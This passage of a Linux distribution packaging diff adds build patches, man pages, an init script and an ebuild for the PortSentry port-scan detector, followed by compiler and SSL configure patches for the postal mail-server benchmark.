+-BLOCKED_FILE="/usr/local/psionic/portsentry/portsentry.blocked"
++BLOCKED_FILE="/etc/portsentry/portsentry.blocked"
+
+ ##############################
+ # Misc. Configuration Options#
diff --git a/net-analyzer/portsentry/files/portsentry-1.2-config.h.patch b/net-analyzer/portsentry/files/portsentry-1.2-config.h.patch
new file mode 100644
index 000000000000..28c02b85e5af
--- /dev/null
+++ b/net-analyzer/portsentry/files/portsentry-1.2-config.h.patch
@@ -0,0 +1,11 @@
+--- a/portsentry_config.h
++++ b/portsentry_config.h
+@@ -22,7 +22,7 @@
+
+ /* These are probably ok. Be sure you change the Makefile if you */
+ /* change the path */
+-#define CONFIG_FILE "/usr/local/psionic/portsentry/portsentry.conf"
++#define CONFIG_FILE "/etc/portsentry/portsentry.conf"
+
+ /* The location of Wietse Venema's TCP Wrapper hosts.deny file */
+ #define WRAPPER_HOSTS_DENY "/etc/hosts.deny"
diff --git a/net-analyzer/portsentry/files/portsentry-1.2-gcc.patch b/net-analyzer/portsentry/files/portsentry-1.2-gcc.patch
new file mode 100644
index 000000000000..613808fe7225
--- /dev/null
+++ b/net-analyzer/portsentry/files/portsentry-1.2-gcc.patch
@@ -0,0 +1,12 @@
+--- a/portsentry.c
++++ b/portsentry.c
+@@ -1581,8 +1581,7 @@
+ Usage (void)
+ {
+ printf ("PortSentry - Port Scan Detector.\n");
+- printf ("Copyright 1997-2003 Craig H. Rowland <craigrowland at users dot
+-sourceforget dot net>\n");
++ printf ("Copyright 1997-2003 Craig H. Rowland <craigrowland at users dot sourceforget dot net>\n");
+ printf ("Licensing restrictions apply. Please see documentation\n");
+ printf ("Version: %s\n\n", VERSION);
+ #ifdef SUPPORT_STEALTH
diff --git a/net-analyzer/portsentry/files/portsentry-1.2-ignore.csh.patch b/net-analyzer/portsentry/files/portsentry-1.2-ignore.csh.patch
new file mode 100644
index 000000000000..ec45dd1daac7
--- /dev/null
+++ b/net-analyzer/portsentry/files/portsentry-1.2-ignore.csh.patch
@@ -0,0 +1,11 @@
+--- a/ignore.csh
++++ b/ignore.csh
+@@ -35,7 +35,7 @@
+ endif
+
+ # Safe directory
+-set SENTRYDIR=/usr/local/psionic/portsentry
++set SENTRYDIR=/etc/portsentry
+ set TMPFILE=portsentry.ignore.tmp
+
+ if (-f $SENTRYDIR/portsentry.ignore) then
diff --git a/net-analyzer/portsentry/files/portsentry.8 b/net-analyzer/portsentry/files/portsentry.8
new file mode 100644
index 000000000000..7c9d6a617262
--- /dev/null
+++ b/net-analyzer/portsentry/files/portsentry.8
@@ -0,0 +1,151 @@
+.TH PORTSENTRY 8
+.\" NAME should be all caps, SECTION should be 1-8, maybe w/ subsection
+.\" other parms are allowed: see man(7), man(1)
+.SH NAME
+portsentry \- detect portscan activity
+.SH SYNOPSIS
+.B portsentry
+.I "[ \-tcp | \-stcp | \-atcp ]"
+.br
+.B portsentry
+.I "[ \-udp | \-sudp | \-audp ]"
+.SH "DESCRIPTION"
+This manual page documents briefly the
+.BR portsentry
+command.
+This manual page was written for the Debian GNU/Linux distribution
+because the original program does not have a manual page.
+.PP
+.B portsentry
+is a program that tries to detect portscans on network interfaces with the ability to detect stealth scans. On alarm portsentry can block the scanning machine via hosts.deny (see
+.BR hosts_access (5),
+firewall rule (see
+.BR ipfwadm (8) ,
+.BR ipchains (8)
+and
+.BR iptables (8))
+or dropped route (see
+.BR route (8)).
+.SH OPTIONS
+For details on the various modes see
+.I /usr/doc/portsentry/README.install
+.
+.TP
+.B \-tcp
+tcp portscan detection on ports specified under
+.I TCP_PORTS
+in the config file
+.IR /etc/portsentry/portsentry.conf .
+.TP
+.B \-stcp
+As above but additionally detect stealth scans.
+.TP
+.B \-atcp
+Advanced tcp or inverse mode. Portsentry binds to all unused ports below
+.I ADVANCED_PORTS_TCP
+given in the config file
+.IR /etc/portsentry/portsentry.conf .
+
+.TP
+.B \-udp
+udp portscan detection on ports specified under
+.I UDP_PORTS
+in the config file
+.IR /etc/portsentry/portsentry.conf .
+.TP
+.B \-sudp
+As above but additionally detect "stealth" scans.
+.TP
+.B \-audp
+Advanced udp or inverse mode. Portsentry binds to all unused ports below
+.I ADVANCED_PORTS_UDP
+given in the config file
+.IR /etc/portsentry/portsentry.conf .
+
+.SH "CONFIGURATION FILES"
+.B portsentry
+keeps all its configuration files in
+.BR /etc/portsentry.
+.B portsentry.conf
+is
+.BR portsentry 's
+main configuration file. See
+.BR portsentry.conf (5)
+for details.
+
+The file
+.BR portsentry.ignore
+contains a list of all hosts that are ignored, if they connect to a tripwired
+port. It should contain at least the localhost(127.0.0.1), 0.0.0.0 and the IP addresses of all local interfaces. You can ignore whole subnets by using a notation <IP Address>/<Netmask Bits>. It is *not* recommend putting in every machine IP on your network. It may be important for you to see who is connecting to you, even if it is a "friendly" machine. This can help you detect internal host compromises faster.
+
+If you use the
+.IR /etc/init.d/portsentry
+script to start the daemon,
+.BR portsentry.ignore
+is rebuild on each start of the daemon using
+.BR portsentry.ignore.static
+and all the IP addresses found on the machine via
+.BR ifconfig .
+
+.BR /etc/default/portsenty
+specifies in which protocol modes
+.B portsentry
+should be startet from
+.IR /etc/init.d/portsentry
+There are currently two options:
+.TP
+.B TCP_MODE=
+either
+.BR tcp ", " stcp " or " atcp " (see " OPTIONS " above)."
+.TP
+.B UDP_MODE=
+either
+.BR udp ", " sudp " or " audp " (see " OPTIONS " above)."
+
+.PP
+The options above correspond to portsentry's commandline arguments. For example
+.B TCP_MODE="atcp"
+has the same effect as to start portsentry using
+.BR portsentry " " -atcp.
+Only one mode per protocol can be started at a time (i.e. one tcp and one udp mode).
+
+.SH "FILES"
+.BR /etc/portsentry/portsentry.conf
+main configuration file
+.TP
+.BR /etc/portsentry/portsentry.ignore
+IP addresses to ignore
+.TP
+.BR /etc/portsentry/portsentry.ignore.static
+static IP addresses to ignore
+.TP
+.BR /etc/default/portsentry
+startup options
+.TP
+.BR /etc/init.d/portsentry
+script responsible for starting and stopping the daemon
+.TP
+.BR /var/lib/portsentry/portsentry.blocked.*
+blocked hosts(cleared upon reload)
+.TP
+.BR /var/lib/portsentry/portsentry.history
+history file
+.LP
+.SH "SEE ALSO"
+.BR portsentry.conf(5),
+.BR hosts_access(5),
+.BR hosts_options(5),
+.BR route(8),
+.BR ipfwadm(8),
+.BR ipchains(8),
+.BR iptables(8),
+.BR ifconfig(8)
+
+.BR /usr/share/doc/portsentry/README.install
+.LP
+.SH AUTHOR
+.B portsentry
+was written by Craig H. Howland
+.B <crowland@users.sf.net>.
+
+This manual page was stitched together by Guido Guenther <agx@debian.org>, for the Debian GNU/Linux system (but may be used by others). Some parts are just a cut and paste from the original documentation.
diff --git a/net-analyzer/portsentry/files/portsentry.conf.5 b/net-analyzer/portsentry/files/portsentry.conf.5
new file mode 100644
index 000000000000..314e2abb2a44
--- /dev/null
+++ b/net-analyzer/portsentry/files/portsentry.conf.5
@@ -0,0 +1,217 @@
+.TH PORTSENTRY.CONF 5
+.\" NAME should be all caps, SECTION should be 1-8, maybe w/ subsection
+.\" other parms are allowed: see man(7), man(1)
+.SH NAME
+portsentry.conf \- portsentrys main configuration file
+.SH "DESCRIPTION"
+This manual page documents briefly the format of
+.BR portsentry s(8)
+configuration file.
+.SH OPTIONS
+.TP
+.B TCP_PORTS
+A comma delimited string of TCP ports you want PortSentry to
+listen to. This string can NOT have any spaces in it. You can put in as
+many sockets as you want. PortSentry will try to bind them all up until
+the default limit of 64.
+
+For the stealth scan detection modes, the ports are not "bound" per se,
+but they are monitored at the socket level for connections.
+
+For the Advanced Stealth Scan Detection (see below) this list is *ignored*
+.TP
+.B UDP_PORTS
+The same as above, except for UDP ports. You need to be
+very careful with UDP mode as an attacker can forge a port sweep and
+make you block any number of hosts. Use this option with caution, or
+not at all if your host is a well-known Internet connected system.
+
+For the Advanced Stealth Scan Detection (see below) this list is *ignored*
+
+.TP
+.B ADVANCED_PORTS_TCP
+A number indicating the highest port number to
+monitor down from. Any port *below* this number is then monitored. The
+default is 1024 (reserved port range), but can be made as large as 65535
+(system max). I don't recommend going over 1024 with this option.
+
+.TP
+.B ADVANCED_PORTS_UDP
+Same as above, except for UDP.
+
+.TP
+.B ADVANCED_EXCLUDE_TCP
+A comma delimited string of TCP ports that should
+be manually excluded from monitoring in Advanced mode. These are normally
+ports that may get hit by mistake by remote clients and shouldn't cause
+alarms (ident, SSL, etc).
+
+.TP
+.B ADVANCED_EXCLUDE_UDP
+Same as above, except for UDP.
+
+.TP
+.B IGNORE_FILE
+The path to the file that contains IP addresses of hosts you
+want to always be ignored.
+
+.TP
+.B BLOCKED_FILE
+The path to the file that contains the IP addresses of
+blocked hosts.
+
+.TP
+.B RESOLVE_HOST - This option turns off DNS resolution for
+hosts. If you have a slow DNS server it may be more effective
+to turn off resolution.
+
+.TP
+.B BLOCK_UDP
+This option disables all automatic responses to UDP probes.
+Because UDP can be easily forged, it may allow an attacker to start a
+denial of service attack against the protected host, causing it to block
+all manner of hosts that should normally be left alone. Setting this option
+to "0" will disable all responses, although the connects are still logged.
+This option is mainly useful for Internet exposed hosts. For internal hosts
+you should leave this enabled. If someone internally is firing spoofed
+packets at you, then you have a much bigger problem than a denial of service.
+
+.TP
+.B BLOCK_TCP
+Same as above, but for TCP. Packet forgery is not as big a problem
+though because PortSentry waits for a full connect to occur and this is much
+harder to forge in the basic modes. Leave this enabled, even for
+Internet connected hosts. For stealth scan detection modes the UDP warning
+applies:
+
+ An attacker can cause you to block hosts you don't want to
+ through packet forgery. I wouldn't worry about this until it is a
+ problem, but you should be aware of it.
+
+.TP
+.B KILL_ROUTE
+This is the command to run to drop the offending route(see
+.BR route (8))
+if an attack is detected. This is the *full path* to the route command
+along with the necessary parameters to make the command work. The macro
+.B $TARGET$
+will be substituted with the attacking host IP and is
+REQUIRED in this option. Your gateway should be a *dead host* on the
+local subnet. On some systems though you can just put in the localhost
+address (127.0.0.1) and this will probably work. All packets from the
+target host will get routed to this address so don't mess this up.
+More modern route commands will include a "-blackhole" or "-reject" flag.
+Check your man(1) pages and if your route command supports this feature
+you should use it (although we recommend using packet filtering
+instead, see below).
+
+Also be aware that this creates what is known as an "asynchronous
+route" which basically means packets enter your host via one route
+and are sent out on another (dead) route. This works OK for full
+TCP connect requests, but for UDP and stealth scan modes it
+still allows packets to activate PortSentry and you may get a
+series of "already blocked" alarms by PortSentry. For UDP scans
+this method prevents ICMP messages from returning to the attacker
+so all ports appear open. However, if the attacker is performing
+an actual exploit with UDP the drop route method will not work.
+The asynchronous route allows the packet to hit the system and the
+attacker could perform a "blind" attack with UDP if they know what
+the responses are going to be.
+
+By far the best method is to use the local packet filter (see
+.BR ipfwadm (8),
+.BR ipchains (8),
+or
+.BR iptables (8)).
+This is a much cleaner solution and is
+detailed in the config file. The macro
+.B $PORT$
+will substitute the port
+that was connected to by the attacker, but this is NOT required for this
+option. The macro $MODE$ reports what mode the blocking occurred in
+(tcp, udp, stcp, sudp, atcp, audp) but is also NOT required.
+
+.TP
+.B KILL_HOSTS_DENY
+This is the format of the string to drop into the
+hosts.deny file that TCP wrappers uses(see
+.BR hosts_access (5),
+and
+.BR hosts_options (5)).
+Again the
+.B $TARGET$
+macro is
+expanded out to be the IP of the attacker and is required. You can
+also drop in any TCP wrapper escape codes here as well (%h, twist,
+etc). The macro
+.B $PORT$
+will substitute the port that was connected to
+by the attacker, but this is NOT required for this option.
+The macro $MODE$ reports what mode the blocking occurred in
+(tcp, udp, stcp, sudp, atcp, audp) but is also NOT required.
+
+.TP
+.B KILL_RUN_CMD
+This is a command you want run *before* the route
+is dropped to the attacker. You can put in any program/script you want
+executed when an attack is detected. WE NEVER RECOMMEND PUTTING IN
+RETALIATORY ACTION AGAINST AN ATTACKING HOST. Virtually every time you're
+are port scanned the host doing the scanning has been compromised itself.
+Therefore, if you retaliate you are probably attacking an innocent(?)
+party. Also the goal of security is to make the person GO AWAY. You don't
+want to irritate them into making a personal vendetta against you.
+Remember, even a 13 year old can run a [insert favorite D.O.S. program
+here] attack against you from their Windows box to make your life
+miserable. As above, the
+.BR $TARGET$ ,
+.B $PORT$
+and
+.B $MODE$
+macros are available to you but they are not required with this option as above.
+
+.TP
+.B KILL_RUN_CMD_FIRST
+Setting this to "1" makes the command above run before the route is
+dropped. Setting it to "0" makes the command run aftter the blocking
+has occurred.
+
+.TP
+.B SCAN_TRIGGER
+PortSentry has a state engine that will remember hosts
+that connected to it. Setting this value will tell PortSentry to allow X
+number of grace port hits before it reacts. This will detect both
+sequential and random port sweeps. The default is 0 which will react
+immediately. A setting of 1 or 2 will reduce false alarms, anything
+higher is probably too much as anything more than 3 hits to different
+ports is pretty suspicious behavior. Usually you can leave this at 0
+without any consequence, with the exception of Advanced stealth scan
+detection modes where you may create a "hair trigger" if you aren't
+careful. Use your own discretion.
+
+.TP
+.B PORT_BANNER
+A text banner you want displayed to the connecting host if
+the PortSentry is activated. Leave this commented out if you don't want this
+feature. If you do use it, try not to taunt the person too badly. We
+recommend keeping it professional and to the point. The banner is *not*
+displayed when stealth scan detection modes are used.
+
+.LP
+.SH "SEE ALSO"
+.BR portsentry(8),
+.BR hosts_access(5),
+.BR hosts_options(5),
+.BR route(8),
+.BR ipfwadm(8),
+.BR ipchains(8)
+
+.BR /usr/share/doc/portsentry/README.install
+.LP
+.SH AUTHOR
+.B portsentry
+was written by Craig H. Howland
+.B <crowland@users.sf.net>.
+
+This manual page is essentially just a "cut and paste" from the README.install file and was done by Guido Guenther <agx@debian.org>(hopefully without adding too many errors), for the Debian GNU/Linux system (but may be used by others).
+
+
diff --git a/net-analyzer/portsentry/files/portsentry.confd b/net-analyzer/portsentry/files/portsentry.confd
new file mode 100644
index 000000000000..49729516ef7c
--- /dev/null
+++ b/net-analyzer/portsentry/files/portsentry.confd
@@ -0,0 +1,12 @@
+# Config file for /etc/init.d/portsentry
+#
+# This file is read by /etc/init.d/portsentry. See the portsentry.8
+# manpage for details.
+#
+# The options in this file refer to commandline arguments (all in lowercase)
+# of portsentry. Use only one tcp and udp mode at a time.
+#
+
+#PORTSENTRY_MODES="udp tcp"
+#PORTSENTRY_MODES="stcp sudp"
+#PORTSENTRY_MODES="atcp audp" \ No newline at end of file
diff --git a/net-analyzer/portsentry/files/portsentry.rc6 b/net-analyzer/portsentry/files/portsentry.rc6
new file mode 100644
index 000000000000..b3bb81a51bbf
--- /dev/null
+++ b/net-analyzer/portsentry/files/portsentry.rc6
@@ -0,0 +1,39 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# NB: Config is in /etc/conf.d/portsentry
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -e /etc/portsentry/portsentry.conf ] ; then
+ eerror "You need an /etc/portsentry/portsentry.conf file"
+ eerror "There is a sample in /usr/share/doc/portsentry"
+ return 1
+ fi
+ if [ -z "$PORTSENTRY_MODES" ] ; then
+ eerror "You need to setup your PORTSENTRY_MODES first"
+ eerror "Check /etc/conf.d/portsentry that you've enabled some or all of them"
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting portsentry"
+ for mode in $PORTSENTRY_MODES ; do
+ /usr/bin/portsentry -$mode
+ result=$(( $result + $? ))
+ done
+ eend $result
+}
+
+stop() {
+ ebegin "Stopping portsentry"
+ killall portsentry
+ eend $?
+}
diff --git a/net-analyzer/portsentry/metadata.xml b/net-analyzer/portsentry/metadata.xml
new file mode 100644
index 000000000000..cedb9f45ac48
--- /dev/null
+++ b/net-analyzer/portsentry/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">sentrytools</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/portsentry/portsentry-1.2-r1.ebuild b/net-analyzer/portsentry/portsentry-1.2-r1.ebuild
new file mode 100644
index 000000000000..88715f8eba6f
--- /dev/null
+++ b/net-analyzer/portsentry/portsentry-1.2-r1.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="Automated port scan detector and response tool"
+# Seems like CISCO took the site down?
+HOMEPAGE="http://sourceforge.net/projects/sentrytools/"
+SRC_URI="mirror://sourceforge/sentrytools/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="amd64 ppc x86"
+
+S="${WORKDIR}"/${PN}_beta
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-conf.patch
+ epatch "${FILESDIR}"/${P}-config.h.patch
+ epatch "${FILESDIR}"/${P}-gcc.patch
+ epatch "${FILESDIR}"/${P}-ignore.csh.patch
+}
+
+src_compile() {
+ emake CC=$(tc-getCC) CFLAGS="${CFLAGS} ${LDFLAGS}" linux
+}
+
+src_install() {
+ doman "${FILESDIR}"/{portsentry.8,portsentry.conf.5}
+
+ dobin portsentry ignore.csh
+ dodoc README* CHANGES CREDITS
+ newdoc portsentry.ignore portsentry.ignore.sample
+ newdoc portsentry.conf portsentry.conf.sample
+
+ insinto /etc/portsentry
+ newins portsentry.ignore portsentry.ignore.sample
+ newins portsentry.conf portsentry.conf.sample
+
+ newinitd "${FILESDIR}"/portsentry.rc6 portsentry
+ newconfd "${FILESDIR}"/portsentry.confd portsentry
+}
diff --git a/net-analyzer/postal/Manifest b/net-analyzer/postal/Manifest
new file mode 100644
index 000000000000..f31942503c24
--- /dev/null
+++ b/net-analyzer/postal/Manifest
@@ -0,0 +1 @@
+DIST postal-0.72.tgz 106720 SHA256 70d59adf8ab006a6ea389d8f276a265de743330458f5c1affb97d86bb0663bad
diff --git a/net-analyzer/postal/files/01_postal-0.70-gcc43.patch b/net-analyzer/postal/files/01_postal-0.70-gcc43.patch
new file mode 100644
index 000000000000..fe577603ad3d
--- /dev/null
+++ b/net-analyzer/postal/files/01_postal-0.70-gcc43.patch
@@ -0,0 +1,11 @@
+--- rabid.cpp.orig 2008-06-15 14:05:19.776258513 +0200
++++ rabid.cpp 2008-06-15 14:05:47.927250506 +0200
+@@ -12,6 +12,8 @@
+ #include <strings.h>
+ #include "postal.h"
+ #include "logit.h"
++#include <cstring>
++
+ #ifdef USE_GNUTLS
+ #include <errno.h>
+ #include <gcrypt.h>
diff --git a/net-analyzer/postal/files/02_postal-0.70-nossl.patch b/net-analyzer/postal/files/02_postal-0.70-nossl.patch
new file mode 100644
index 000000000000..9b4166d4f140
--- /dev/null
+++ b/net-analyzer/postal/files/02_postal-0.70-nossl.patch
@@ -0,0 +1,72 @@
+diff -NrU5 postal-0.69.orig/configure.in postal-0.69/configure.in
+--- postal-0.69.orig/configure.in 2008-04-09 03:08:28.000000000 +0200
++++ postal-0.69/configure.in 2008-04-23 22:37:41.000000000 +0200
+@@ -13,15 +13,28 @@
+ else
+ stripping="-s"
+ fi
+
+ AC_ARG_ENABLE(openssl,
+- [ --disable-openssl disables openssl support],
+- DISABLEOPENSSL=$opensslval, DISABLEOPENSSL=no)
++ [ --disable-openssl disable openssl support],
++ [ if test $enableval = yes; then
++ DISABLEOPENSSL=no
++ else
++ DISABLEOPENSSL=yes
++ fi ]
++ ,
++ [ DISABLEOPENSSL=no ])
++
+ AC_ARG_ENABLE(gnutls,
+- [ --disable-gnutls disables gnutls support],
+- DISABLEGNUTLS=$gnutlsval, DISABLEGNUTLS=no)
++ [ --disable-gnutls disables gnutls support],
++ [if test $enableval = yes; then
++ DISABLEGNUTLS=no
++ else
++ DISABLEGNUTLS=yes
++ fi]
++ ,
++ [ DISABLEGNUTLS=no ])
+
+ dnl Checks for programs.
+ AC_LANG_CPLUSPLUS
+ AC_PROG_CC
+ AC_PROG_CXX
+@@ -118,17 +131,17 @@
+ crypt_ldflags=
+ if [[ "$GNUTLS" = "no" ]]; then
+ gnutls=""
+ else
+ gnutls="#define USE_GNUTLS"
+- crypt_ldflags="$extra_ldflags -lgnutls"
++ crypt_ldflags=" -lgnutls"
+ fi
+ if [[ "$OPENSSL" = "no" ]]; then
+ openssl=""
+ else
+ openssl="#define USE_OPENSSL"
+- crypt_ldflags="$extra_ldflags -lssl -lcrypto"
++ crypt_ldflags=" -lssl -lcrypto"
+ fi
+
+ AC_SUBST(large_file)
+ large_file=""
+
+diff -NrU5 postal-0.69.orig/Makefile.in postal-0.69/Makefile.in
+--- postal-0.69.orig/Makefile.in 2008-04-10 03:19:34.000000000 +0200
++++ postal-0.69/Makefile.in 2008-04-23 22:37:13.000000000 +0200
+@@ -16,11 +16,11 @@
+ INSTALL=@INSTALL@
+
+ TESTEXE=ex-test
+ BASEOBJS=userlist.o thread.o results.o address.o tcp.o cmd5.o mutex.o logit.o expand.o @extra_objs@
+ LFLAGS=-lstdc++ @extra_ldflags@
+-CRYPTLFLAGS=-lstdc++ @crypt_ldflags@
++CRYPTLFLAGS=-lstdc++ @extra_ldflags@ @crypt_ldflags@
+
+
+ ALLOBJS=$(BASEOBJS) smtp.o client.o basictcp.o bhmusers.o smtpserver.o
+
+ postal: postal.cpp $(BASEOBJS) postal.h smtp.o
diff --git a/net-analyzer/postal/files/02_postal-0.72-nossl.patch b/net-analyzer/postal/files/02_postal-0.72-nossl.patch
new file mode 100644
index 000000000000..238dbdbb783d
--- /dev/null
+++ b/net-analyzer/postal/files/02_postal-0.72-nossl.patch
@@ -0,0 +1,72 @@
+diff -NrU5 postal-0.69.orig/configure.in postal-0.69/configure.in
+--- configure.in 2008-04-09 03:08:28.000000000 +0200
++++ configure.in 2008-04-23 22:37:41.000000000 +0200
+@@ -13,15 +13,28 @@
+ else
+ stripping="-s"
+ fi
+
+ AC_ARG_ENABLE(openssl,
+- [ --disable-openssl disables openssl support],
+- DISABLEOPENSSL=$opensslval, DISABLEOPENSSL=no)
++ [ --disable-openssl disable openssl support],
++ [ if test $enableval = yes; then
++ DISABLEOPENSSL=no
++ else
++ DISABLEOPENSSL=yes
++ fi ]
++ ,
++ [ DISABLEOPENSSL=no ])
++
+ AC_ARG_ENABLE(gnutls,
+- [ --disable-gnutls disables gnutls support],
+- DISABLEGNUTLS=$gnutlsval, DISABLEGNUTLS=no)
++ [ --disable-gnutls disables gnutls support],
++ [if test $enableval = yes; then
++ DISABLEGNUTLS=no
++ else
++ DISABLEGNUTLS=yes
++ fi]
++ ,
++ [ DISABLEGNUTLS=no ])
+
+ dnl Checks for programs.
+ AC_LANG_CPLUSPLUS
+ AC_PROG_CC
+ AC_PROG_CXX
+@@ -118,17 +131,17 @@
+ crypt_ldflags=
+ if [[ "$GNUTLS" = "no" ]]; then
+ gnutls=""
+ else
+ gnutls="#define USE_GNUTLS"
+- crypt_ldflags="$extra_ldflags -lgnutls -lgcrypt"
++ crypt_ldflags=" -lgnutls -lgcrypt"
+ fi
+ if [[ "$OPENSSL" = "no" ]]; then
+ openssl=""
+ else
+ openssl="#define USE_OPENSSL"
+- crypt_ldflags="$extra_ldflags -lssl -lcrypto"
++ crypt_ldflags=" -lssl -lcrypto"
+ fi
+
+ AC_SUBST(large_file)
+ large_file=""
+
+diff -NrU5 postal-0.69.orig/Makefile.in postal-0.69/Makefile.in
+--- Makefile.in 2008-04-10 03:19:34.000000000 +0200
++++ Makefile.in 2008-04-23 22:37:13.000000000 +0200
+@@ -16,11 +16,11 @@
+ INSTALL=@INSTALL@
+
+ TESTEXE=ex-test
+ BASEOBJS=userlist.o thread.o results.o address.o tcp.o cmd5.o mutex.o logit.o expand.o @extra_objs@
+ LFLAGS=-lstdc++ @extra_ldflags@
+-CRYPTLFLAGS=-lstdc++ @crypt_ldflags@
++CRYPTLFLAGS=-lstdc++ @extra_ldflags@ @crypt_ldflags@
+
+
+ ALLOBJS=$(BASEOBJS) smtp.o client.o basictcp.o bhmusers.o smtpserver.o
+
+ postal: postal.cpp $(BASEOBJS) postal.h smtp.o
diff --git a/net-analyzer/postal/files/03_postal-0.70-c++0x-integrated.patch b/net-analyzer/postal/files/03_postal-0.70-c++0x-integrated.patch
new file mode 100644
index 000000000000..9ad6a036dcda
--- /dev/null
+++ b/net-analyzer/postal/files/03_postal-0.70-c++0x-integrated.patch
@@ -0,0 +1,270 @@
+diff -NrU5 postal-0.69.orig/bhm.cpp postal-0.69/bhm.cpp
+--- postal-0.69.orig/bhm.cpp 2008-04-23 22:39:01.000000000 +0200
++++ postal-0.69/bhm.cpp 2008-04-24 01:31:54.000000000 +0200
+@@ -7,10 +7,11 @@
+ #include <ctype.h>
+ #include <unistd.h>
+ #include <sys/wait.h>
+ #include <signal.h>
+ #include <stdio.h>
++#include <cstdlib>
+ #include <sys/poll.h>
+ #include <sys/types.h>
+ #include <sys/socket.h>
+ #include <arpa/inet.h>
+ #include <netinet/ip.h>
+diff -NrU5 postal-0.69.orig/bhmusers.cpp postal-0.69/bhmusers.cpp
+--- postal-0.69.orig/bhmusers.cpp 2008-04-10 03:36:27.000000000 +0200
++++ postal-0.69/bhmusers.cpp 2008-04-24 00:04:07.000000000 +0200
+@@ -1,9 +1,10 @@
+ #include "bhmusers.h"
+ #include <stdio.h>
+ #include <cstring>
+ #include "expand.h"
++#include <cstdlib>
+
+ BHMUsers::BHMUsers(const char *userListFile)
+ {
+ char buf[1024];
+ FILE *fp = fopen(userListFile, "r");
+diff -NrU5 postal-0.69.orig/bhmusers.h postal-0.69/bhmusers.h
+--- postal-0.69.orig/bhmusers.h 2006-09-28 17:20:28.000000000 +0200
++++ postal-0.69/bhmusers.h 2008-04-24 00:14:05.000000000 +0200
+@@ -4,16 +4,21 @@
+ using namespace std;
+
+ #include <string>
+ #include "conf.h"
+
++#ifdef HAVE_STDCXX_0X
++#include <unordered_map>
++#include <tr1/functional_hash.h>
++#else
+ #ifdef HAVE_EXT_HASH_MAP
+ using namespace __gnu_cxx;
+ #include <ext/hash_map>
+ #else
+ #include <hash_map.h>
+ #endif
++#endif
+
+ #include "postal.h"
+
+ typedef enum { eNone = 0, eDefer, eReject, eBounce, eGrey } USER_SMTP_ACTION;
+
+@@ -21,10 +26,13 @@
+ {
+ USER_SMTP_ACTION action;
+ int sync_time;
+ } BHM_DATA;
+
++#ifdef HAVE_STDCXX_0X
++typedef unordered_map<string, BHM_DATA , hash<string> > NAME_MAP;
++#else
+ namespace __gnu_cxx
+ {
+ template<> struct hash< std::string >
+ {
+ size_t operator() ( const std::string &x ) const
+@@ -33,10 +41,11 @@
+ }
+ };
+ }
+
+ typedef hash_map<string, BHM_DATA , hash<string> > NAME_MAP;
++#endif
+
+ class BHMUsers
+ {
+ public:
+ BHMUsers(const char *userListFile);
+diff -NrU5 postal-0.69.orig/configure.in postal-0.69/configure.in
+--- postal-0.69.orig/configure.in 2008-04-23 22:39:01.000000000 +0200
++++ postal-0.69/configure.in 2008-04-24 01:20:35.000000000 +0200
+@@ -155,6 +155,98 @@
+
+ AC_CHECK_HEADERS(vector ext/hash_map)
+
+ dnl Checks for library functions.
+
++AC_DEFUN([AC_COMPILE_STDCXX_0X], [
++ AC_CACHE_CHECK(if g++ supports C++0x features without additional flags,
++ ac_cv_cxx_compile_cxx0x_native,
++ [AC_LANG_SAVE
++ AC_LANG_CPLUSPLUS
++ AC_TRY_COMPILE([
++ template <typename T>
++ struct check
++ {
++ static_assert(sizeof(int) <= sizeof(T), "not big enough");
++ };
++
++ typedef check<check<bool>> right_angle_brackets;
++
++ int a;
++ decltype(a) b;
++
++ typedef check<int> check_type;
++ check_type c;
++ check_type&& cr = c;],,
++ ac_cv_cxx_compile_cxx0x_native=yes, ac_cv_cxx_compile_cxx0x_native=no)
++ AC_LANG_RESTORE
++ ])
++
++ AC_CACHE_CHECK(if g++ supports C++0x features with -std=c++0x,
++ ac_cv_cxx_compile_cxx0x_cxx,
++ [AC_LANG_SAVE
++ AC_LANG_CPLUSPLUS
++ ac_save_CXXFLAGS="$CXXFLAGS"
++ CXXFLAGS="$CXXFLAGS -std=c++0x"
++ AC_TRY_COMPILE([
++ template <typename T>
++ struct check
++ {
++ static_assert(sizeof(int) <= sizeof(T), "not big enough");
++ };
++
++ typedef check<check<bool>> right_angle_brackets;
++
++ int a;
++ decltype(a) b;
++
++ typedef check<int> check_type;
++ check_type c;
++ check_type&& cr = c;],,
++ ac_cv_cxx_compile_cxx0x_cxx=yes, ac_cv_cxx_compile_cxx0x_cxx=no)
++ CXXFLAGS="$ac_save_CXXFLAGS"
++ AC_LANG_RESTORE
++ ])
++
++ AC_CACHE_CHECK(if g++ supports C++0x features with -std=gnu++0x,
++ ac_cv_cxx_compile_cxx0x_gxx,
++ [AC_LANG_SAVE
++ AC_LANG_CPLUSPLUS
++ ac_save_CXXFLAGS="$CXXFLAGS"
++ CXXFLAGS="$CXXFLAGS -std=gnu++0x"
++ AC_TRY_COMPILE([
++ template <typename T>
++ struct check
++ {
++ static_assert(sizeof(int) <= sizeof(T), "not big enough");
++ };
++
++ typedef check<check<bool>> right_angle_brackets;
++
++ int a;
++ decltype(a) b;
++
++ typedef check<int> check_type;
++ check_type c;
++ check_type&& cr = c;],,
++ ac_cv_cxx_compile_cxx0x_gxx=yes, ac_cv_cxx_compile_cxx0x_gxx=no)
++ CXXFLAGS="$ac_save_CXXFLAGS"
++ AC_LANG_RESTORE
++ ])
++
++ if test "$ac_cv_cxx_compile_cxx0x_native" = yes ||
++ test "$ac_cv_cxx_compile_cxx0x_cxx" = yes ||
++ test "$ac_cv_cxx_compile_cxx0x_gxx" = yes; then
++ AC_DEFINE(HAVE_STDCXX_0X,,[Define if g++ supports C++0x features. ])
++ fi
++])
++
